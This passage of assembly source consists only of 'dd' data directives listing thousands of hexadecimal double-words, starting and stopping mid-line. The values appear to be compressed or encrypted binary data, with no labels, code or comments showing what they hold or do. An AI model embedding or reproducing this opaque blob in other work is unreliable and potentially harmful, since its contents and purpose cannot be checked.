5BC03A00h, 64393F4Ch, 48574C11h, 264886C0h dd 0EE0E01A1h, 61142008h, 0E96F80ECh, 8F070433h, 0D0B5114Eh dd 9FE041D6h, 0BB0C20B3h, 17F299Ah, 87C23631h, 0D957BD81h dd 0EA198012h, 0AA867B5Eh, 0B5CA488Ch, 1FAC6C0Fh, 0CE21E580h dd 3FEC9D72h, 0B5447890h, 50D213BBh, 0D90800E1h, 0C21D0189h dd 9847254h, 0FC0FCDF4h, 65D45932h, 0E700194Eh, 0C2E928BAh dd 0E8520048h, 0D1EA9771h, 12B86CC5h, 2D5ECB12h, 3D599C00h dd 983D7h, 553A45BCh, 3B4CD58h, 404B893h, 811E187Dh, 0C332CCC2h dd 2BB4C4CEh, 0A829B065h, 3FD882AFh, 4C7068C6h, 0B4B18D0Fh dd 3F2958F0h, 80C09943h, 0DD4F8EAh, 900097ADh, 0D21001E7h dd 930CBB8h, 6094E212h, 31A20CDFh, 0CFA7Eh, 0F44F7514h dd 0AA3A5263h, 411FCC00h, 0B335946Eh, 67B772FAh, 0A43E714Ch dd 0DCA89116h, 812E600Ah, 9F591D00h, 0CEBD4614h, 0A8610A36h dd 94D44D37h, 3316F72Dh, 0D4781C47h, 0A201AB87h, 0E4F9C9C0h dd 8F2BC85Bh, 0A56B3600h, 671AF0EAh, 0F7B428AEh, 0D7310074h dd 6F23981Bh, 0D5000915h, 3751363Bh, 91D69B13h, 7CC8802Ch dd 7055970Ch, 2A0B3902h, 923377EEh, 6DFC80A4h, 0C99044h dd 4769AAACh, 0F9D7E452h, 30E72B2Ch, 0DF217D60h, 0D02A00FBh dd 821C1947h, 8800DD68h, 0C16F949Fh, 76603C7h, 1AA82B43h dd 0BAACDA34h, 0FE694854h, 0E45A0039h, 0A568D28Eh, 93006167h dd 0AEE781C7h, 4E9189Ch, 0F4F522C5h, 4238A4DEh, 0DBBABB00h dd 5E462656h, 44EC5CFCh, 9F097E22h, 8434E911h, 1154AB94h dd 27291C0Eh, 0BED0800h, 0D800B868h, 0CCA6CD67h, 6034230Fh dd 91A4E143h, 212C8D41h, 32005C65h, 16F4C281h, 1EC051Ch dd 0C7597013h, 0B7867384h, 1BD888E8h, 0EA9A908Bh, 0F602000Ch dd 7B1CE50Bh, 0A4035F2Bh, 0FEBB8ADBh, 2069504Ah, 1DB9D608h dd 0E2E2230h, 1C122888h, 877B2844h, 22B450C2h, 4409B7h dd 0E0D952h, 26451ACDh, 6F770CCEh, 378A2181h, 38310038h dd 4FA4592Eh, 3016FC7Fh, 0E409DA7Dh, 0FC430F0h, 0C93412A9h dd 401C8D93h dd 0B7706810h, 5165D87Dh, 388259D0h, 2908E003h, 7B2E0636h dd 0D08D3F1Ah, 78DB4844h, 8985062h, 30240064h, 0D454B421h dd 86076B20h, 2B55E332h, 4FCC51D0h, 0D0EF0063h, 0F6AA8FEBh dd 3F18B9E7h, 0DD293718h, 0C6C32CE1h, 221303h, 12F229EDh dd 2738665h, 0DA267001h, 8EBEDE41h, 60597EF4h, 0B33360E4h dd 73016122h, 4CD68D88h, 188E7F9Eh, 0B809BE3h, 5275DD8Eh dd 0E7A59A00h, 0EEA256E2h, 45AB0102h, 1E64D328h, 9F6EF86Ah dd 84B28000h, 0CF717320h, 0C0917754h, 58974CC9h, 1B1B92C9h dd 0E060061Dh, 0F247686Eh, 21491D04h, 31C3D8B2h, 0E1C3DB7h dd 0CD00FA91h, 0AEEA6422h, 1EAA005Ah, 829D564Ah, 0EC031DDEh dd 5B2AFA09h, 21D101E9h, 39C18A13h, 87B3E894h, 44181406h dd 77D95499h, 0FECA0074h, 0E9EAAF4Ch, 1A18BEF1h, 0AE30A03Ah dd 832900F4h, 0F9F5D00Ah, 0B9F8A7C3h, 0A0CBA300h, 0E9E626Dh dd 718160B2h, 0A49FDE8Fh, 68398490h, 3D1D9508h, 62891FCCh dd 0DBC0DC5Ch, 0FB98822Eh, 0C4A73BC5h, 6C9D9107h, 6960CCF0h dd 72ADE203h, 752F834h, 7BDE56A9h, 4122704Bh, 15541EBAh dd 0D7F6B89Ch, 8D7CB300h, 8E2AE1D3h, 396B6099h, 4E3B9501h dd 270823F6h, 80091803h, 0E7FA39DFh, 210FA3DAh, 25C230h dd 9D280FEh, 0D6C61ED0h, 0BAF94370h, 0F8283588h, 0EC50B073h dd 6D18F8B8h, 0D76856D2h, 3AD02481h, 0CF3B0100h, 0C4F49138h dd 70009871h, 2B581CBDh, 0EA8A4Dh, 83E0C349h, 0FAAF7E0Eh dd 7D541215h, 0DAFC00A0h, 0FB168E91h, 0A68107B8h, 0E0805010h dd 8F7AC28Ch, 55A05900h, 0AA1A2F57h, 0AB561204h, 6B6040CFh dd 5E1CD5C6h, 91309C90h, 4C8119CDh, 8B040E87h, 0D0748DBFh dd 0A7D03200h, 0E4F2CD52h, 0F831D528h, 42063C06h, 198027Fh dd 68494827h, 2219C8B1h, 825A00B0h, 0FB22E88Eh, 0E6F70083h dd 1B73160Eh, 3C015094h, 2ABDCC5Ah, 60243868h, 0E65FF86Fh dd 0D6D8007Ch, 0BFA6C0F4h, 9C00B779h, 0D698587h, 3893FDFh dd 0FBE3301Ah, 90078A0Bh, 7E841EB1h, 3465DF50h, 0E3B8A862h dd 0E009118h, 28C1661Eh, 0EC89539Eh, 210AAF2Dh, 80CE9A6Bh dd 0A84BBD80h, 246482C2h, 0B078FEh, 98DDE130h, 0D9CA8D56h dd 0C560C42Bh, 2CF0E1Eh, 24BAD19Eh, 403FCAh, 8730563Ch dd 4E363130h, 7AA00145h, 2086E81Ah, 25E1DC8Fh, 791B0458h dd 801E2600h, 0A1AEBAC9h, 0E4053AFFh, 0C007B31Eh, 2E377981h dd 92008A7Ah, 0D2950AEh, 18A331FBh, 307ED3AAh, 1F7BA69Eh dd 740067F2h, 80763B8Fh, 0C627C3h, 99D2923h, 0A19E0604h dd 0FE0FB9FAh, 9BF496F6h, 52E3C870h, 243101B2h, 3830E49Eh dd 920EEC69h, 0DCA9B300h, 0D0775523h, 685D01CBh, 7F84C81Dh dd 0FF50800Ah, 8099CDA0h, 26630EA5h, 16000B49h, 84B5EDC4h dd 29CF09E2h, 0FD5B2022h, 6F6949E7h, 0A680B8F8h, 67FCF148h dd 3012FE12h, 3C1BDF00h, 6DCB2Dh, 46BFAD16h, 2AA1580Fh dd 31F18360h, 0E842340h, 6DA35537h, 78B2AAA6h, 81C8A101h dd 2196C038h, 0E265E1CCh, 0BDE3154Dh, 9214B0B1h, 6A0E8370h dd 2A49A555h, 0D71F9E81h, 0EDB860F7h, 24495401h, 9F98913Eh dd 20D2C180h, 51DEB33Ah, 8FC0EA00h, 0BE1E019Ah, 3559C5A5h dd 0EDDA0380h, 0ECD7361Bh, 0F6079E19h, 0DAAB7067h, 25232BA0h dd 312C0044h, 0FB47B43Ch, 0A07BB038h, 0C2C018A3h, 11C0FABAh dd 0DAB65434h, 5C530768h, 0C06FDF96h, 3A66C942h, 35330101h dd 89D3AF60h, 3BB9419Eh, 5A217B80h, 0F9DEF147h, 9472B8A8h dd 3C0443Dh, 0E0A5B453h, 79F2C041h, 0A4E5500Eh, 7FD63097h dd 4893D549h, 0DB007476h, 8B75773Bh, 2C641E4Dh, 39C1F9BAh dd 0A9A7849Ah, 0B08FA980h, 0B700385Bh, 8D68F422h, 6EDEAF80h dd 0EB078150h, 18041197h, 0BFEB2174h, 0C6CB8019h, 0DA0A2F7Fh dd 0EA73E4h, 0F79F201Dh, 791BCA73h, 0A0AC415Bh, 1416CC00h dd 32F271A0h, 0C15B6B01h, 91D31BE9h, 6445B980h, 0EEAA184Eh dd 62D64C00h, 5646F586h, 0BE0A008Bh, 10C27F5Fh, 250C1DF0h dd 89FE049Dh, 0F89A5498h, 32F900EEh, 793EBE9h, 0FB0CBAD3h dd 8A5B284h, 0A0FA497Fh, 80F8547Ch, 9143006Ch, 7C63B34Bh dd 0D01C61Eh, 0A989275Fh, 59800696h, 0AF57E492h, 47031E3Fh dd 5C1B56D8h, 7C19F186h, 4F01C183h, 0E690A054h, 5F03D042h dd 69624134h, 92A900FBh, 0C2748B65h, 4B67C171h, 0B07167C6h dd 75C04369h, 0DE6D1895h, 641231FAh, 8D5FAE00h, 5417065Ah dd 0A49D148Eh, 0A3014C97h, 7322DF1Fh, 98D53028h, 0D0DEAD29h dd 63A49830h, 0DAC601B8h, 726B1424h, 0D6A72067h, 71BEB6A0h dd 0CE755F02h, 81226E31h, 9D96C4EFh, 3F624180h, 6CA5260Bh dd 0BAFA2D0Ch, 792959A9h, 0C8160E06h, 0B8206040h, 0AB5503F0h dd 5A37F601h, 0C06FEB7Dh, 72711840h, 0CBE50335h, 54336A87h dd 98DA06F8h, 0A909CF7Ah, 815313C3h, 9FF7924h, 3395BC0h dd 1F9291F3h, 491D9FBDh, 81FA82F8h, 0C977A671h, 86F448BFh dd 8BF302FAh, 1DE6B50h, 401190A7h, 0E2572F76h, 1EFBFF00h dd 1B67E086h, 5F4D00DFh, 13B4E70h, 889189F9h, 0F4004824h dd 97216E3Ah, 0DEFA15F5h, 5000A80Fh, 9F1607DFh, 91F1FB5h dd 8340406Bh, 0FDD8B3B9h, 0E4580C12h, 8E812969h, 11E75F00h dd 3233DC08h, 0F82C1C23h, 281FCE7Bh, 958061CEh, 25FE6DFBh dd 0A4B9AD3Eh, 0CD1CE8FFh, 70BE3803h, 15639079h, 22510F31h dd 0BA84ED20h, 466088BDh, 87916C3Eh, 0D24ECAF9h, 0E9707120h dd 0AA1D00C0h, 18C4EB23h, 97F83453h, 0BDEC1254h, 0BE45430Eh dd 0B187E1BCh, 0A0F0178Ah, 745D0282h, 85D6CD94h, 0E87E6C49h dd 0DF00277Ah, 0C777F69Ah, 22295E8Bh, 1400FADEh, 0A2316523h dd 3A3F616Ch, 968090ABh, 80344F8Ah, 0EB111CF1h, 2600F7DEh dd 86F8BF53h, 5B00820Fh, 0DC1E392Ah, 26634BA6h, 9B484CAh dd 741098A0h, 0AA14104Fh, 1DE5BD6h, 0AB37164Ch, 2189A397h dd 7D000D5Ch, 82CD5C7h, 0CF458E6h, 69C23D0Ch, 1B7951h dd 0BABB3221h, 858C3116h, 8030BE58h, 0B7747597h, 0BC0004Eh dd 4FC73CCEh, 39EC2735h, 0F7ACFF00h, 681B2684h, 540E0356h dd 7742E9DAh, 0F8862289h, 0ACB0BED8h, 15EC683Ah, 40A0901Fh dd 313DB1E8h, 10BE2C97h, 0A0503B40h, 3D910376h, 340387F7h dd 7DA7E9B0h, 2A2F2E00h, 9D16F4B6h, 840254FCh, 91231F71h dd 0D626C624h, 0C2006186h, 7DB764EDh, 0C67BE7h, 0BE424B7Ah dd 19DEE8F0h, 8BFA300Ch, 26B79A4h, 232C88F4h, 6CC01B17h dd 88B15471h, 0A6634A80h, 27ECC33h, 1E86F1Ah, 484111CAh dd 807CC5BAh, 0FD7F6C29h, 0E7F1D3EDh, 0FA37B240h, 0C934A087h dd 0B77B2EEEh, 4FE96078h, 8B00C45Ch, 0FC9F2377h, 0F637617Dh dd 70570878h, 0D4802969h, 36CFA7AFh, 0CD050E4Ah, 0DE0058A4h dd 38080484h, 194DB600h, 312BB078h, 0D5C0A06Fh, 5D978A4h dd 358E702Ch, 573880FBh, 3590F489h, 0D3999D63h, 2E91078Bh dd 203A27D7h, 80B74896h, 38387D30h, 252ABC4h, 441DA6F7h dd 484273B6h, 0C4D9F427h, 6754C0E8h, 265CCD9Fh, 555B023Eh dd 9084FA99h, 0A6219D90h, 836E04DCh, 0C81DF8EDh, 4CB07034h dd 6C4CCD2Ch, 0F72A6000h, 80C07Eh, 0D713A129h, 0FB2590C6h dd 0AB1688F8h, 7840ADD3h, 2E37FFE4h, 0EC5800B5h, 31B6699Fh dd 3003D75h, 3510FB9Ah, 9101C26Eh, 275E80F8h, 0E3A47BF1h dd 24F1A1Ch, 34953AC0h dd 1E195F75h, 18F6D7D4h, 189D310Bh, 0B0812C00h, 0A0E6FBEEh dd 179CA420h, 1514D01h, 46F03128h, 509AF97Eh, 0D50FC50h dd 0C00C4C00h, 0AB59D95h, 701401FFh, 2B614F96h, 63D1F578h dd 0B1CB0354h, 0F037F5BBh, 7D6DB85h, 1BCB771h, 447A80A8h dd 210614CDh, 82915108h, 4E550189h, 0FA9723C9h, 0B9BE89h dd 0B0CD1641h, 3EFCA586h, 384424A0h, 618AF48h, 0A7B68088h dd 1DF61F34h, 0D8234069h, 0FDAF6B8Ah, 997A8430h, 0FEB357FFh dd 269894E6h, 0EA51144h, 1AD0E4Ch, 28A60BBFh, 98BD030h dd 1EE86925h, 0B8501480h, 0E00CA35h, 0C189864Eh, 0FC942387h dd 60752C9Dh, 0E04602Ch, 0E4005C06h, 8FB40BC7h, 1F1B728h dd 0CE94222Bh, 0D6CCF67Ch, 40B42063h, 82470331h, 18D8006Ah dd 4DBB35C8h, 74B0A756h, 3EB2038h, 9A75A5A9h, 38B1EFF8h dd 0BB21A112h, 80C18814h, 70E399h, 0DEE62EB8h, 349D4254h dd 61134B60h, 105C9A01h, 0E6FA0A51h, 4E77A041h, 17834C4h dd 14AFC4AAh, 361EA0F8h, 0D6B00978h, 82EB8h, 0A016017Eh dd 2EE0015Bh, 9DA7E50Eh, 0A1218038h, 0FB8D58FAh, 1E963E7Dh dd 27BDB913h, 0F9B4A094h, 890003B6h, 73FB7701h, 1396118h dd 794A0446h, 60A5F41Ah, 5B05B5DCh, 0CE7BF749h, 62608Ch dd 91704888h, 61694C20h, 34921C12h, 0C3D89060h, 756A00DCh dd 911C02CDh, 22016806h, 6C3FC7E9h, 2843D3C6h, 4C25E801h dd 63C100E1h, 487D3045h, 5D004062h, 690F4A0Ch, 0AD7D308h dd 0D2555CCFh, 221200DDh, 3718409Ah, 0CE8BCA19h, 0AFC9E20h dd 30570092h, 69EB7560h, 0F800490Eh, 1F20A2C6h, 78589C0Fh dd 30CD656Fh, 4A9DC6D3h, 60030EAh, 0B8DF6C0h, 35AF54Ah dd 0CBAA6962h, 6106D01Dh, 0A045D20Ch, 6B840D91h, 0E248D598h dd 1F64B240h, 4FFAAA05h, 0ADC05AC0h, 14A8286h, 80B8FE35h dd 0E41B3161h, 60F1C266h, 6C015781h, 41C4AC70h, 0CAE4B742h dd 71D5601Eh, 1A71A550h, 3962A304h, 8FC7C68Ah, 428F6840h dd 0C829FC9Ch, 88DE530h, 3F60D9D0h, 0CDBA01E7h, 9CB513F1h dd 2F54DC4Ah, 5EECC3E0h, 191F5600h, 681EF004h, 21600D6h dd 6A800571h, 49C9FED5h, 0E86706D7h, 8B8F0361h, 0E74CB546h dd 1A638AB0h, 0E5C2D1Ch, 0F00A88C0h, 308EF32h, 5762DD02h dd 81C02833h, 0E2050650h, 2234D2B0h, 0AD68A045h, 0C0BAA44Eh dd 76A78AF2h, 9D6F05FDh, 0C09C6D59h, 8236DB0Dh, 6840490Ch dd 776231B3h, 0B5E200B7h, 16172A75h, 0D93859D2h, 12448FDAh dd 5D322603h, 4AA60678h, 0D1B407E6h, 0A47D7C00h, 8A42820Eh dd 46F50CB9h, 2DE1B0E5h, 0FF00EF73h, 0A752B2F9h, 58CA2FE1h dd 88306453h, 190F1250h, 0D451D210h, 8A41D70Ch, 851857DAh dd 0F610E324h, 84E81F16h, 9CA10D20h, 60C4E0B9h, 0A63EE57Dh dd 6680804Fh, 0D5702112h, 0CB8A438h, 0BA0B5709h, 2D01E911h dd 0FF307A8h, 64400881h, 0DBB1F0Eh, 91CB779Fh, 98EAF061h dd 4849CD63h, 0C47BB06Fh, 6AB80E7Ah, 0DA445BA6h, 12F6C035h dd 34A87F44h, 6700C5EAh, 8C732E47h, 123C3056h, 702870D1h dd 37D4C248h, 0F0900500h, 0FDFB52F7h, 0BB313008h, 41822549h dd 0C5AF7D18h, 0D0F389h, 0B34E1891h, 0AE7C3EF5h, 0E065083Dh dd 72C7CA20h, 7F8F0034h, 73547042h, 46004071h, 28B0F949h dd 50D556C1h, 30CA6C57h, 3591DF20h, 0CC480521h, 2C8700F8h dd 91C16A3h, 1830A250h, 1D4CA688h, 8F6B5h, 1D4E4AFCh, 333B90BCh dd 0D35160AFh, 0A4F26E4Dh, 1DDD00A8h, 671A4FF9h, 33003285h dd 118351F0h, 167357h, 0FFAEC150h, 0DA46BA87h, 0A5083413h dd 0CE571306h, 0EF4F0079h, 0F5019B1h, 0CA28B0E6h, 0A5153087h dd 5F385ADFh, 2C72B0h, 7A8289C6h, 5D65583Ch, 9C985224h dd 3AA564Bh, 189060F6h, 6900CBE3h, 5C7972FAh, 1DCD086h dd 1B1F7AACh, 0DF451A3Eh, 0DF48802Eh, 0FB437800h, 23803E2h dd 7F8AB67Ah, 3EC1AF02h, 8021D199h, 41CCA469h, 1A4DF7h dd 926E6035h, 5D762EDFh, 0FE172507h, 0B47AC671h, 4D911280h dd 46195Bh, 0E5F24E01h, 808418F9h, 0D738B01h, 0C70BA845h dd 0D721E610h, 0C14658h, 2C7FC878h, 3721FF6h, 42F9D537h dd 0AA86256h, 66360B8Ah, 26039C6h, 1DAC5ADDh, 0C08920h dd 6F84D51Ch, 0EF09293Bh, 22AA5C98h, 5AA94200h, 13BFEDE3h dd 18DB883h, 2E17C2A6h, 40F2AB69h, 7F19BC88h, 0F4683360h dd 0F8F0C565h, 732D06EFh, 61B9087Ch, 0F9A2C200h, 842A695Eh dd 1B980056h, 59223580h, 0B8A03039h, 7B7FEC14h, 0D1587900h dd 0D2709FC2h, 0F89D544Fh, 3922F6F6h, 2E0659A1h, 0B1DBF221h dd 0FEE0C600h, 41DF137Eh, 506D6088h, 0CB667B0Dh, 0DD782258h dd 9FFAC384h, 7DCD0780h, 80F458D1h, 2D210A7Ch, 80D07E08h dd 0C28C946h, 0DA00C771h, 891A98C8h, 4DDE4CD2h, 922C89Fh dd 9E583401h, 299B921Dh, 350C5C0h, 75F1319Ah, 3100E098h dd 13FF0FAFh, 43B55Ch, 28EB441Ah, 0F4F93974h, 0F1B8CF16h dd 3BF64C20h, 463A00EFh, 26CA6241h, 0C28219Fh, 70A650ABh dd 85083707h, 0A3A551B9h, 7B02C405h, 0CFEF8002h, 0F18880B5h dd 7CCB1F1Dh, 7383004Fh, 6F879256h, 0DF6FAF9Fh, 18B54FA1h dd 0B0762Eh, 0E8D626CBh, 0A649EF42h, 0E85B5426h, 7A9D0D00h dd 3C71D35h, 0CC10660Ah, 0B900DC8Bh, 0F8551902h, 5082D2D1h dd 4C92D8DAh, 0B58040F1h, 5D3A27D4h, 0A6A9000h, 916DAB52h dd 0A7E11DE3h, 9560C099h, 36EE96B6h, 0F0E752h, 3D5974C9h dd 0DF4AD2E1h, 7B6C05F9h, 50A08241h, 1979A864h, 9885DC1Dh dd 27BF4A2h, 0F65AFEAh, 34404086h, 6E12AE38h, 144033ABh dd 88393A78h, 1F407401h, 1671E42h, 4ED214EAh, 7E719D0Ah dd 64604DD6h, 24EB5811h, 127C6681h, 0E2FC017Fh, 6440AF53h dd 0C028AEE4h, 0BE139888h, 0B030335Bh, 125E24h, 0D376C9Ch dd 0D2235581h, 1EA21802h, 0C4697E0Bh, 164B00E0h, 0B5015A2Fh dd 371CB912h, 0A0C09931h, 28F6BD4Fh, 0BA160A40h, 809827F1h dd 0B8884BF3h, 0F206D89Ah, 0F9AFBB3Ah, 0F5FA0079h, 0A7F709B7h dd 60005F1Ah, 0EB26AE65h, 0A8CC0851h, 0E64A4h, 77AC844Bh dd 4E34BCECh, 0EA88AF03h, 306D57h, 3F55D0E8h, 51973C39h dd 0B41FCA24h, 2ED280C7h, 8F4E1C1h, 36006432h, 0D54F8B52h dd 0C9E0C5DFh, 45EE8000h, 61ED1149h, 179A0008h, 0BC48F3Bh dd 9888D75Ch, 47C1C0FAh, 3C6F0E25h, 0EAB75D00h, 36CC546Ah dd 0AE5724A8h, 0C0173F00h, 0F8D40EC4h, 8880C28Eh, 34FAA04Dh dd 0F1B6FE0Ch, 3B6A59E2h, 9412F865h, 7987002Fh, 6804CC24h dd 0C9C14009h, 277C480Bh, 0AD93129Dh, 53780FFFh, 0D6E71983h dd 1C4939h, 76523099h, 5CCEEEBEh, 4E01E939h, 0C65992ACh dd 2A4980D3h, 0FFE3E58Fh, 0CCD900FDh, 73FB3EC1h, 75F6DA57h dd 48463F01h, 0A4721231h, 136B0024h, 0C152E9h, 4879A9C2h dd 62092AB8h, 993E4CADh, 3E03A44h, 0E40A006Dh, 14B5853Bh dd 0A4075629h, 728A60ACh, 0F23C80C1h, 0B2003432h, 0CDB77913h dd 2B0137A3h, 0B9AF6A7h, 0B187B531h, 996D7DFEh, 0E0099448h dd 2E803901h, 0D7AA5E37h, 0F9FEAC83h, 0C0DFE233h, 6BAD0C5Ah dd 0B899549Ah, 0B9070480h, 56CCC6h, 88383589h, 0E3DF63C5h dd 0CDABC40h, 0B67D0A1h, 0E4E668D1h, 2BB09100h, 0CEA93F4Ch dd 878F0479h, 81B72E22h, 11CF60C8h, 40F253CAh, 1276FFF0h dd 0C0C6802Dh dd 0FEA76F6Ch, 2CF2861Bh, 0DB5C00F9h, 0CD5B71BBh, 950757FFh dd 0A4110746h, 81B0A6h, 0A881B690h, 327464B9h, 1634AD00h dd 8517B266h, 1F3103AFh, 0D1E6C580h, 7FF85901h, 388347FCh dd 9CBB8740h, 0EF910B10h, 58185857h, 8A09893Eh, 0B3DAAC4h dd 38D0309Ch, 0C40748FFh, 0E1B65180h, 5F5080A1h, 2A03F4D3h dd 68AA9688h, 95A900AFh, 0F61B0BB5h, 14722699h, 0AA0038ECh dd 0FA91B47Fh, 30281184h, 6F310568h, 4B0052EBh, 3614B14Dh dd 0B198FB57h, 0FC900004h, 106FF018h, 71DABF09h, 19030096h dd 3C0B0DF3h, 0E829416h, 0A3E1AF75h, 532244A0h, 8D003658h dd 41BDE59Bh, 0B9E83Eh, 30D977FCh, 8FE1813Bh, 1F046F76h dd 90A54F9Ch, 2E1BBCC0h, 49E7635Dh, 0E9EB939Eh, 4D221FE0h dd 9492DD02h, 0C0F3C866h, 2814770h, 9FE84F37h, 8C64BD2h dd 7A407900h, 5AF1587Bh, 0DFEB0A50h, 0C7B01ECAh, 0D23322D9h dd 3925D2C3h, 0BF68A0E6h, 15351E0h, 0A5A9E4DCh, 30562F80h dd 0E92E98E4h, 0E881547Ch, 0FF4F33ECh, 847DC0D3h, 53D21159h dd 508000A1h, 5D9608BEh, 0F871024Ch, 0E7704DADh, 26003C64h dd 8987CE20h, 10193Fh, 0A3AF62CAh, 0C78E2553h, 0CCEF5B00h dd 7628D9ECh, 93C10B50h, 20040E3Bh, 0E6AB40C6h, 1800D87h dd 748B78D1h, 0F8B653B1h, 3700C269h, 0A74FE346h, 4A65EA2h dd 3108F19Eh, 0AFCC927Ch, 0E6004CE4h, 8E185158h, 0E2EED66h dd 6F1D54E9h, 0D33B3100h, 1E3C89A9h, 342C876Eh, 0D4FACA42h dd 36708049h, 91E08DEBh, 0A7C58FDCh, 827CA4A0h, 0D0A2193h dd 8CAAFCCEh, 51E5F900h, 0A4689078h, 0B8BE0198h, 0B6E1B216h dd 1808203Dh, 8429C41Fh, 6CE7047Dh, 10B54DD5h, 0C0215160h dd 1A4B4228h, 2700827Dh, 0F88A1261h, 19A952Eh, 55B9609Bh dd 0F163A406h, 0E06F200Eh, 921DCE7Ch, 37896E8Ch, 0EB7848F2h dd 0EAE20744h, 1079B5CEh, 62AD2093h, 2E5A63Ah, 0CA447C7Bh dd 9874E41Ch, 0D2D603F4h, 0B9A15799h, 43E945AFh, 0E385CAA8h dd 8028295Ch, 228A2698h, 48BB7403h, 0D209AD50h, 3021DFA1h dd 0E516A0B2h, 85842C39h, 0DC8C9003h, 37CF002Bh, 0A94CBB95h dd 0AA724AECh, 913DE338h, 6707B90Bh, 0E2BFC03Bh, 0F464E54Dh dd 5D85ED00h, 16DC7EFh, 1345E811h, 307B561Dh, 2425A7D0h dd 7F5CB500h, 0A535F027h, 29D405FFh, 1AF3F06h, 7E9D2614h dd 0BF5FDC4Fh, 2B1DFE1Eh, 50C8C153h, 0EEEB1CAFh, 0F08740D9h dd 517FB8DCh, 0D8ACA100h, 8675B615h, 8014B241h, 6F605Ch dd 0F96AC397h, 0BFB31989h, 8C300C2Ch, 301B3A09h, 2C4E6EB0h dd 3EF8C2A4h, 0B4148214h, 899630C3h, 0D0548FC9h, 132E5146h dd 0F385F46Dh, 0ACCC8535h, 5BC901CDh, 65139225h, 42E5CCF7h dd 170E5300h, 0F36A77D2h, 0AF84167Fh, 0C48027ADh, 0F1748847h dd 2AB0D454h, 5BCAA501h, 1268E192h, 7F852180h, 0C11C3C7Ah dd 0C49AAC0Bh, 0EC8490C6h, 0EC98E059h, 83EC5Dh, 47EAD681h dd 0FEF53562h, 276B4D3Bh, 2A18200Bh, 0F9C7BF0h, 40124337h dd 1EFF8EE1h, 6E0DFC06h, 6FDFCF02h, 681957D5h, 0E75088h dd 0D0EDEC90h, 53CBF4ACh, 7060C307h, 0C0F05CDEh, 58E1696Ch dd 0D322F009h, 3F5AC0Fh, 7142C07Ch, 0FCE7Dh, 392EA85Ch dd 11EE0D8Ah, 12A66499h, 15D56400h, 0EEADD104h, 0F8AFAF2h dd 0E04F95ABh, 40483A4Ah, 0BE8B3D58h, 40E0784Ch, 0CA3F40EDh dd 0D251E284h, 18188D46h, 0DC0827D2h, 0BE0054A1h, 0E9DB2BFCh dd 1D74721h, 64F77F59h, 38D240BAh, 0E0311180h, 3BCAC804h dd 8B21Dh, 0FE7A0139h, 0B01B2C23h, 0D8104C28h, 54436504h dd 2040C38Dh, 0C011A01Dh, 357EEF05h, 336A20C0h, 49CC60AFh dd 0AD0F34CDh, 7500A1B8h, 898DF4BDh, 4746928h, 61B722D5h dd 5CA27Bh, 7311863Dh, 2BCAC33h, 2A83144Fh, 6E41B012h dd 8BF0C3CAh, 0BF518480h, 17042384h, 6400EFDAh, 0DEBD644Eh dd 4C664B08h, 7BA08778h, 7F0E091Fh, 821A0F00h, 2392050h dd 860AD1F9h, 4C41020Ch, 38801008h, 4DC3038Eh, 0D5D0EC1Fh dd 0E6F07298h, 9AB82A54h, 77460500h, 0E3A54A9Dh, 0FC2F5A60h dd 8AD840DCh, 39117342h, 0B367111Dh, 78132F00h, 2905A8F1h dd 0C648EA03h, 0B8EEA769h, 1FAA11Eh, 549D965Eh, 73CE38D5h dd 571502E0h, 0C3187966h, 0FAB80898h, 10800771h, 4640497Fh dd 0A1150101h, 0D10D4E73h, 0E0F9D15Bh, 0A9124A0Bh, 0CC201FCBh dd 122D2133h, 61E0893Bh, 73253028h, 0A4BE0088h, 0C692CD79h dd 16E274h, 1EB84220h, 5C0A0724h, 253BD514h, 82274h, 1F025255h dd 10F69D78h, 0A0726B09h, 404C8EBBh, 223DAB71h, 303B25E7h dd 5F53FC90h, 174D84Ch, 0CC15EDF5h, 0DA41BC69h, 0A1802EF2h dd 6BB06AA2h, 5A008A8Bh, 6FE5157Eh, 182E485h, 3FDB82Dh dd 290B19B3h, 0F4E91FB4h, 81B0003Ch, 0FAA01AC5h, 0B956006Dh dd 0CEF8D21Fh, 0F1134248h, 0FC1DF037h, 100E824h, 66844713h dd 6E1901BDh, 5C810AD5h, 899C70ACh, 38C0D945h, 0F90C6068h dd 1423C1B6h, 4D00C0F8h, 624534C3h, 60DC4BA8h, 0E70B5838h dd 4A01AF77h, 5936F310h, 0B87268F8h, 0A780DE3Ah, 0B9495DC8h dd 5C00F9A0h, 0C4D20C77h, 0EA297AABh, 8B809160h, 0CA55AE6h dd 0A8888C6Ah, 0F43D64F2h, 1C4D8F1h, 14119459h, 4C21C116h dd 46013479h, 0CA377CDDh, 1E06286h, 6B8D055Dh, 0A872AF45h dd 5FAD0F7Fh, 2BE081C8h, 70ECD61Bh, 0E7F04212h, 0FE91F090h dd 1F320548h, 8057B2C9h, 1CF73ED0h, 0F24CF412h, 9822A020h dd 537F0021h, 50A3EFC4h, 401C55BDh, 58405DE4h, 0BA830EAEh dd 4F451D6Fh, 0C41F7FEAh, 3ADF6C80h, 41C86607h, 75E1C08Ah dd 2A755B84h, 0B70014B8h, 6034E4D8h, 2495F57Eh, 4F904AD2h dd 409C3320h, 0F8E9037Fh, 46F20612h, 0FDAFCA00h, 14A432D9h dd 262F01E0h, 0E62DCE84h, 0B120802Ch, 8DCF29E8h, 7F41E419h dd 0EBE50306h, 977A6669h, 1D96E3B0h, 4451C767h, 0D3CBFCD0h dd 0C45F006Ah, 7EB7910Bh, 9D01E432h, 0CD40536Eh, 318FB812h dd 805D9615h, 0B3480149h, 0C50F84F6h, 5B0B4273h, 6DFFF080h dd 0E67259h, 802423E4h, 0F5BC1326h, 6A416000h, 0E0BE2B52h dd 4437183Bh, 0B775B917h, 0E2FB63Ah, 7FB02ABCh, 674151B0h dd 2ECF8CFh, 0F12E7119h, 4A43B03Fh, 42EE2101h, 262AA3E1h dd 0FE2F7EF0h, 107939A5h, 0AFA73A83h, 1909EB3h, 6002E0Dh dd 0B285FC11h, 0D9B1B040h, 0C83938D9h, 0BC07815Ch, 0EAA95F18h dd 0DC431197h, 29D612h, 0DD7AB497h, 5924CDBh, 4E00BC90h dd 5BFB65BFh, 184AF7C6h, 31C4126Eh, 1E587E36h, 2197075Fh dd 0C1B032ADh, 309C5680h, 9381CCDEh, 230577C2h, 0CB2ECA94h dd 0A6640C00h, 387AA81h, 47CE6331h, 0D000994Eh, 0EC5379DFh dd 0E3DEE2F4h, 0A84F3180h, 0A6F6212Fh, 0D5DBF00h, 883D175Bh dd 0C06601E2h, 0CEFBC628h, 9AC8C3B5h, 931855D1h, 26413DDEh dd 779901D6h, 38D359A7h, 28C4045h, 22013695h, 0E3C2433Ah dd 319637DEh, 0FE0000F8h, 9EDCA76Eh, 1A02D11Eh, 